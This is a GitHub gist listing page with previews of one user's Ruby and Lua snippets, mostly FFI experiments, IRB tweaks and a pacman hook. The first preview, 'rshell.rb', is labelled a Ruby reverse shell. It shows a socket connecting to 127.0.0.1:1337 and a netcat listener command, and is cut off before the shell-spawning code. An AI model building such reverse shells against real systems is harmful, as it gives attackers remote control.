Skip to content

Instantly share code, notes, and snippets.

View gr33n7007h's full-sized avatar
🌴
On vacation

Li gr33n7007h

🌴
On vacation
View GitHub Profile
@gr33n7007h
gr33n7007h / rshell.rb
Last active April 13, 2024 10:11
Ruby Reverse Shell
#!/usr/bin/env ruby
# syscall 33 = dup2 on 64-bit Linux
# syscall 63 = dup2 on 32-bit Linux
# test with nc -lvp 1337
require 'socket'
s = Socket.new 2,1
s.connect Socket.sockaddr_in 1337, '127.0.0.1'
@gr33n7007h
gr33n7007h / skynet.rb
Created March 25, 2024 20:38
Skynet Benchmark
# https://github.com/atemerev/skynet
module Skynet
module_function
def make_fiber(num, size, div)
Fiber.new do
Fiber.yield(num) if size == 1
fibers = (0...div).map do |i|
sub = num + i * (size / div)
@gr33n7007h
gr33n7007h / 🤣.rb
Created October 17, 2023 20:32
Manipulate dialog colours in IRB
# save this peice of code in your ~/.irbrc
module Reline
DUMMY = ->() {
# autocomplete
return nil unless config.autocompletion
if just_cursor_moving and completion_journey_data.nil?
# Auto complete starts only when edited
return nil
end
@gr33n7007h
gr33n7007h / frozen_core.rb
Created September 12, 2023 15:08
Enable FrozenCore monkey-patching bytecode
# frozen_string_literal: true
abort 'MJIT needs to be enabled' unless RubyVM::MJIT.enabled?
# make private constants available at top-level
#
constants =
Symbol.all_symbols.select do
RubyVM::MJIT.private_constant _1 rescue next
end
@gr33n7007h
gr33n7007h / global_variable_get.rb
Created June 9, 2023 04:28
read globals w/o eval
require 'fiddle'
module Kernel
fname = 'rb_gv_get'
if Fiddle::Handle::DEFAULT.sym_defined?(fname)
sym = Fiddle::Handle::DEFAULT.sym(fname)
fun = Fiddle::Function.new(sym, [:const_string], :voidp, name: fname)
define_method(fname, &fun)
end
@gr33n7007h
gr33n7007h / parse_positional.rb
Created September 14, 2022 09:43
AstrallyForged
require 'optparse'
Arguments = Struct.new(:copies, :filename)
arguments = Arguments.new
options = ARGV.options do |opt|
opt.banner = "usage: #{opt.program_name} [options] <input file>"
opt.on '--copies=n', 'Number of copies', &:to_i
opt.on '-h', '--help', 'Displays this usage screen' do
puts opt
@gr33n7007h
gr33n7007h / mirror_update.hook
Created April 11, 2020 08:46
Update mirrors.
[Trigger]
Operation = Upgrade
Type = Package
Target = pacman-mirrorlist
[Action]
Description = Updating pacman-mirrorlist with reflector and removing pacnew...
When = PostTransaction
Depends = reflector
Exec = /bin/sh -c "reflector --protocol https --country 'United Kingdom' --score 10 --sort rate --save /etc/pacman.d/mirrorlist; rm -f /etc/pacman.d/mirrorlist.pacnew"
#!/usr/bin/env lua
local std = require'posix.unistd'
local sio = require'posix.stdio'
local rd, wr = std.pipe()
std.write(wr, "foo\nbar\nbaz\nfood")
std.close(wr)
local file = sio.fdopen(rd, 'r')
@gr33n7007h
gr33n7007h / variadic.rb
Created November 16, 2020 22:50
Testing variadic Fiddle version 1.0.1
require 'fiddle'
include Fiddle
# Fiddle v:1.0.1
setlocale = Function.new(
Handle['setlocale'],
[
:int,
:const_string
@gr33n7007h
gr33n7007h / rstring.rb
Created November 16, 2020 21:38
Testing nested struct/union Fiddle version 1.0.1
require 'fiddle/import'
include Fiddle::Importer
# Fiddle v:1.0.1
dlload
typealias 'VALUE', 'unsigned long long'
RBasic = struct [
'VALUE flags',